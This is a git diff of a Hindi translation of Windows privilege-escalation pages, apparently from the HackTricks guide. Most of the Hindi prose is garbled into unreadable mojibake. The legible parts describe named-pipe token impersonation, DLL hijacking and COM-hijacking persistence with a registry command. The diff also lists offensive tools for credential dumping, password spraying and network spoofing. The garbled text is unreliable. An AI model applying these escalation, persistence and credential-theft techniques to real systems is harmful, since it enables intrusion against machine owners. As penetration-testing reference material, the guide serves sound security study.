рдЪрд▓ рд░рд╣реА рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЪреБрдиреЗ рдЬрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╕рднреА рдЯреЛрдХрди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реЛрддреЗ рд╣реИрдВ** (_рд╣рд╛рдБ, рдЖрдк рд╕рднреА рдЯреЛрдХрди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рдмрд┐рдирд╛ SYSTEM рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ_)ред\ +**рдЖрдк рдПрдХ** [**рдХреЛрдб рдХрд╛ рдЙрджрд╛рд╣рд░рдг рдпрд╣рд╛рдБ рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рддрдХрдиреАрдХ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ**](sedebug-+-seimpersonate-copy-token.md)**ред** ### **Named Pipes** -рдпрд╣ рддрдХрдиреАрдХ рдореАрдЯрд░рдкреНрд░реЗрдЯрд░ рджреНрд╡рд╛рд░рд╛ `getsystem` рдореЗрдВ рд╡реГрджреНрдзрд┐ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИред рдпрд╣ рддрдХрдиреАрдХ **рдПрдХ рдкрд╛рдЗрдк рдмрдирд╛рдиреЗ рдФрд░ рдлрд┐рд░ рдЙрд╕ рдкрд╛рдЗрдк рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реЗрд╡рд╛ рдмрдирд╛рдиреЗ/рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ** рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИред рдлрд┐рд░, **рд╕рд░реНрд╡рд░** рдЬрд┐рд╕рдиреЗ **`SeImpersonate`** рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╛рдЗрдк рдмрдирд╛рдпрд╛, рд╡рд╣ рдкрд╛рдЗрдк рдХреНрд▓рд╛рдЗрдВрдЯ (рд╕реЗрд╡рд╛) рдХреЗ рдЯреЛрдХрди рдХреЛ **рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡** рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛, рдЬрд┐рд╕рд╕реЗ SYSTEM рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╣реЛрдВрдЧреЗред\ +рдпрд╣ рддрдХрдиреАрдХ рдореАрдЯрд░рдкреНрд░реЗрдЯрд░ рджреНрд╡рд╛рд░рд╛ `getsystem` рдореЗрдВ рд╡реГрджреНрдзрд┐ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИред рддрдХрдиреАрдХ рдореЗрдВ **рдПрдХ рдкрд╛рдЗрдк рдмрдирд╛рдирд╛ рдФрд░ рдлрд┐рд░ рдЙрд╕ рдкрд╛рдЗрдк рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реЗрд╡рд╛ рдмрдирд╛рдирд╛/рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдирд╛** рд╢рд╛рдорд┐рд▓ рд╣реИред рдлрд┐рд░, **рд╕рд░реНрд╡рд░** рдЬрд┐рд╕рдиреЗ **`SeImpersonate`** рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╛рдЗрдк рдмрдирд╛рдпрд╛, рд╡рд╣ рдкрд╛рдЗрдк рдХреНрд▓рд╛рдЗрдВрдЯ (рд╕реЗрд╡рд╛) рдХреЗ рдЯреЛрдХрди рдХреЛ **рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡** рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ рдФрд░ SYSTEM рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдЧрд╛ред\ рдпрджрд┐ рдЖрдк [**рдирд╛рдо рдкрд╛рдЗрдк рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдЖрдкрдХреЛ рдпрд╣ рдкрдврд╝рдирд╛ рдЪрд╛рд╣рд┐рдП**](#named-pipe-client-impersonation)ред\ -рдпрджрд┐ рдЖрдк [**рдЙрдЪреНрдЪ рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рд╕реЗ SYSTEM рдореЗрдВ рдЬрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдирд╛рдо рдкрд╛рдЗрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдкрдврд╝рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдЖрдкрдХреЛ рдпрд╣ рдкрдврд╝рдирд╛ рдЪрд╛рд╣рд┐рдП**](from-high-integrity-to-system-with-name-pipes.md)ред +рдпрджрд┐ рдЖрдк рдкрдврд╝рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ [**рдХреИрд╕реЗ рдЙрдЪреНрдЪ рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рд╕реЗ SYSTEM рдореЗрдВ рдирд╛рдо рдкрд╛рдЗрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд╛рдирд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ рдпрд╣ рдкрдврд╝рдирд╛ рдЪрд╛рд╣рд┐рдП**](from-high-integrity-to-system-with-name-pipes.md)ред ### Dll Hijacking -рдпрджрд┐ рдЖрдк **рдПрдХ dll рдХреЛ рд╣рд╛рдИрдЬреИрдХ рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ** рдЬреЛ **SYSTEM** рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓ рд░рд╣реА **рдкреНрд░рдХреНрд░рд┐рдпрд╛** рджреНрд╡рд╛рд░рд╛ **рд▓реЛрдб** рдХреА рдЬрд╛ рд░рд╣реА рд╣реИ, рддреЛ рдЖрдк рдЙрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗред рдЗрд╕рд▓рд┐рдП Dll Hijacking рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдХреЗ рд▓рд┐рдП рднреА рдЙрдкрдпреЛрдЧреА рд╣реИ, рдФрд░, рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ **рдЙрдЪреНрдЪ рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЕрдзрд┐рдХ рдЖрд╕рд╛рди рд╣реИ** рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХреЗ рдкрд╛рд╕ **dlls рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реЛрдЧреА**ред\ -**рдЖрдк** [**Dll hijacking рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рди рд╕рдХрддреЗ рд╣реИрдВ рдпрд╣рд╛рдВ**](dll-hijacking/index.html)**ред** +рдпрджрд┐ рдЖрдк **рдПрдХ dll рдХреЛ рд╣рд╛рдИрдЬреИрдХ рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ** рдЬреЛ **SYSTEM** рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓ рд░рд╣реА **рдкреНрд░рдХреНрд░рд┐рдпрд╛** рджреНрд╡рд╛рд░рд╛ **рд▓реЛрдб** рдХреА рдЬрд╛ рд░рд╣реА рд╣реИ, рддреЛ рдЖрдк рдЙрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗред рдЗрд╕рд▓рд┐рдП Dll Hijacking рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдХреЗ рд▓рд┐рдП рднреА рдЙрдкрдпреЛрдЧреА рд╣реИ, рдФрд░, рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдЙрдЪреНрдЪ рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ **рдмрд╣реБрдд рдЖрд╕рд╛рди рд╣реИ** рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХреЗ рдкрд╛рд╕ dlls рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдкрд░ **рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐** рд╣реЛрдЧреАред\ +**рдЖрдк** [**Dll рд╣рд╛рдИрдЬреИрдХрд┐рдВрдЧ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдпрд╣рд╛рдБ рдЕрдзрд┐рдХ рдЬрд╛рди рд╕рдХрддреЗ рд╣реИрдВ**](dll-hijacking/index.html)**ред** ### **From Administrator or Network Service to System** -{{#ref}} -https://github.com/sailay1996/RpcSsImpersonator -{{#endref}} +- [https://github.com/sailay1996/RpcSsImpersonator](https://github.com/sailay1996/RpcSsImpersonator) +- [https://decoder.cloud/2020/05/04/from-network-service-to-system/](https://decoder.cloud/2020/05/04/from-network-service-to-system/) +- [https://github.com/decoder-it/NetworkServiceExploit](https://github.com/decoder-it/NetworkServiceExploit) ### From LOCAL SERVICE or NETWORK SERVICE to full privs @@ -1384,21 +1391,21 @@ https://github.com/sailay1996/RpcSsImpersonator **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдФрд░ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ (**[**рдпрд╣рд╛рдВ рдЬрд╛рдВрдЪреЗрдВ**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)ред рдкрддрд╛ рдЪрд▓рд╛ред**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- рдХреБрдЫ рд╕рдВрднрд╛рд╡рд┐рдд рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ рдФрд░ рдЬрд╛рдирдХрд╛рд░реА рдПрдХрддреНрд░ рдХрд░реЗрдВ (**[**рдпрд╣рд╛рдВ рдЬрд╛рдВрдЪреЗрдВ**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)ред**\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдФрд░ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ (**[**рдпрд╣рд╛рдБ рдЬрд╛рдВрдЪреЗрдВ**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)ред рдкрддрд╛ рдЪрд▓рд╛ред**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- рдХреБрдЫ рд╕рдВрднрд╛рд╡рд┐рдд рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ рдФрд░ рдЬрд╛рдирдХрд╛рд░реА рдПрдХрддреНрд░ рдХрд░реЗрдВ (**[**рдпрд╣рд╛рдБ рдЬрд╛рдВрдЪреЗрдВ**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)ред**\ [**privesc** ](https://github.com/enjoiz/Privesc)**-- рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ**\ [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- рдпрд╣ PuTTY, WinSCP, SuperPuTTY, FileZilla, рдФрд░ RDP рд╕рд╣реЗрдЬреЗ рдЧрдП рд╕рддреНрд░ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рддрд╛ рд╣реИред рд╕реНрдерд╛рдиреАрдп рдореЗрдВ -Thorough рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред**\ [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдореИрдиреЗрдЬрд░ рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдирд┐рдХрд╛рд▓рддрд╛ рд╣реИред рдкрддрд╛ рдЪрд▓рд╛ред**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- рдбреЛрдореЗрди рдХреЗ рдЪрд╛рд░реЛрдВ рдУрд░ рдПрдХрддреНрд░рд┐рдд рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рд╕реНрдкреНрд░реЗ рдХрд░реЗрдВ**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- рдбреЛрдореЗрди рдХреЗ рдЪрд╛рд░реЛрдВ рдУрд░ рдПрдХрддреНрд░рд┐рдд рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЫрд┐рдбрд╝рдХрд╛рд╡ рдХрд░реЗрдВ**\ [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh рдПрдХ PowerShell ADIDNS/LLMNR/mDNS/NBNS рд╕реНрдкреВрдлрд░ рдФрд░ рдореИрди-рдЗрди-рдж-рдорд┐рдбрд▓ рдЙрдкрдХрд░рдг рд╣реИред**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- рдмреБрдирд┐рдпрд╛рджреА privesc Windows рдПрдиреНрдпреВрдорд░реЗрд╢рди**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- рдмреБрдирд┐рдпрд╛рджреА privesc Windows рдПрдиреБрдореЗрд░рд╢рди**\ [~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- рдЬреНрдЮрд╛рдд privesc рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ рдХрд░реЗрдВ (DEPRECATED for Watson)\ [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- рд╕реНрдерд╛рдиреАрдп рдЬрд╛рдВрдЪ **(рдПрдбрдорд┐рди рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛)** **Exe** [**Watson**](https://github.com/rasta-mouse/Watson) -- рдЬреНрдЮрд╛рдд privesc рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ рдХрд░реЗрдВ (рдЗрд╕реЗ VisualStudio рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ) ([**рдкреВрд░реНрд╡-рд╕рдВрдХрд▓рд┐рдд**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреА рдЦреЛрдЬ рдХреЗ рд▓рд┐рдП рд╣реЛрд╕реНрдЯ рдХрд╛ рдПрдиреНрдпреВрдорд░реЗрдЯ рдХрд░рддрд╛ рд╣реИ (рдпрд╣ privesc рд╕реЗ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдПрдХрддреНрд░ рдХрд░рдиреЗ рдХрд╛ рдЙрдкрдХрд░рдг рд╣реИ) (рдЗрд╕реЗ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ) **(**[**рдкреВрд░реНрд╡-рд╕рдВрдХрд▓рд┐рдд**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреА рдЦреЛрдЬ рдХреЗ рд▓рд┐рдП рд╣реЛрд╕реНрдЯ рдХрд╛ рдПрдиреБрдореЗрд░рд╢рди рдХрд░рддрд╛ рд╣реИ (рдпрд╣ privesc рд╕реЗ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдПрдХрддреНрд░ рдХрд░рдиреЗ рдХрд╛ рдЙрдкрдХрд░рдг рд╣реИ) (рдЗрд╕реЗ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ) **(**[**рдкреВрд░реНрд╡-рд╕рдВрдХрд▓рд┐рдд**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ [**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- рдХрдИ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдирд┐рдХрд╛рд▓рддрд╛ рд╣реИ (рдЧрд┐рдЯрд╣рдм рдореЗрдВ рдкреВрд░реНрд╡-рд╕рдВрдХрд▓рд┐рдд exe)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- C# рдореЗрдВ PowerUp рдХрд╛ рдкреЛрд░реНрдЯ**\ [~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ (рдЧрд┐рдЯрд╣рдм рдореЗрдВ рдкреВрд░реНрд╡-рд╕рдВрдХрд▓рд┐рдд рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп)ред рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВред рдпрд╣ Win10 рдореЗрдВ рдареАрдХ рд╕реЗ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ред\ @@ -1410,14 +1417,14 @@ https://github.com/sailay1996/RpcSsImpersonator **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рдкрдврд╝рддрд╛ рд╣реИ рдФрд░ рдХрд╛рд░реНрдпрд╢реАрд▓ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреНрд╕ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХрд░рддрд╛ рд╣реИ (рд╕реНрдерд╛рдиреАрдп рдкрд╛рдпрдерди)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рдкрдврд╝рддрд╛ рд╣реИ рдФрд░ рдХрд╛рд░реНрдпрд╢реАрд▓ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреНрд╕ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХрд░рддрд╛ рд╣реИ (рд╕реНрдерд╛рдиреАрдп рдкрд╛рдпрдерди) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рдкрдврд╝рддрд╛ рд╣реИ рдФрд░ рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреНрд╕ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХрд░рддрд╛ рд╣реИ (рд╕реНрдерд╛рдиреАрдп рдкрд╛рдпрдерди)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рдкрдврд╝рддрд╛ рд╣реИ рдФрд░ рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреНрд╕ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХрд░рддрд╛ рд╣реИ (рд╕реНрдерд╛рдиреАрдп рдкрд╛рдпрдерди) **Meterpreter** _multi/recon/local_exploit_suggestor_ -рдЖрдкрдХреЛ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЛ .NET рдХреЗ рд╕рд╣реА рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ ([рдпрд╣рд╛рдВ рджреЗрдЦреЗрдВ](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). рдкреАрдбрд╝рд┐рдд рд╣реЛрд╕реНрдЯ рдкрд░ рд╕реНрдерд╛рдкрд┐рдд .NET рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдЖрдкрдХреЛ рд╕рд╣реА .NET рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ ([рдпрд╣рд╛рдБ рджреЗрдЦреЗрдВ](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/))ред рдкреАрдбрд╝рд┐рдд рд╣реЛрд╕реНрдЯ рдкрд░ рд╕реНрдерд╛рдкрд┐рдд .NET рд╕рдВрд╕реНрдХрд░рдг рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md index a8dffbc8f..78f9de19b 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md +++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md @@ -4,7 +4,7 @@ ### рдЧреИрд░-рдореМрдЬреВрдж COM рдШрдЯрдХреЛрдВ рдХреА рдЦреЛрдЬ -рдЪреВрдВрдХрд┐ HKCU рдХреЗ рдорд╛рдиреЛрдВ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, **COM Hijacking** рдХреЛ **рд╕реНрдерд╛рдпреА рддрдВрддреНрд░** рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред `procmon` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдЙрди рдЦреЛрдЬреЗ рдЧрдП COM рд░рдЬрд┐рд╕реНрдЯреНрд░рд┐рдпреЛрдВ рдХреЛ рдвреВрдВрдврдирд╛ рдЖрд╕рд╛рди рд╣реИ рдЬреЛ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИрдВ рдФрд░ рдЬрд┐рдиреНрд╣реЗрдВ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рд╕реНрдерд╛рдпреА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИред рдлрд╝рд┐рд▓реНрдЯрд░: +рдЪреВрдВрдХрд┐ HKCU рдХреЗ рдорд╛рдиреЛрдВ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, **COM Hijacking** рдХреЛ **рд╕реНрдерд╛рдпреА рддрдВрддреНрд░** рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред `procmon` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдЙрди рдЦреЛрдЬреЗ рдЧрдП COM рд░рдЬрд┐рд╕реНрдЯреНрд░рд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬрдирд╛ рдЖрд╕рд╛рди рд╣реИ рдЬреЛ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИрдВ рдФрд░ рдЬрд┐рдиреНрд╣реЗрдВ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рд╕реНрдерд╛рдпреА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИред рдлрд╝рд┐рд▓реНрдЯрд░: - **RegOpenKey** рд╕рдВрдЪрд╛рд▓рдиред - рдЬрд╣рд╛рдБ _Result_ **NAME NOT FOUND** рд╣реИред @@ -18,7 +18,7 @@ New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F ``` ### Hijackable Task Scheduler COM components -Windows Tasks Custom Triggers рдХрд╛ рдЙрдкрдпреЛрдЧ COM objects рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЪреВрдВрдХрд┐ рдЗрдиреНрд╣реЗрдВ Task Scheduler рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдирд╛ рдЖрд╕рд╛рди рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рдпреЗ рдХрдм рдЯреНрд░рд┐рдЧрд░ 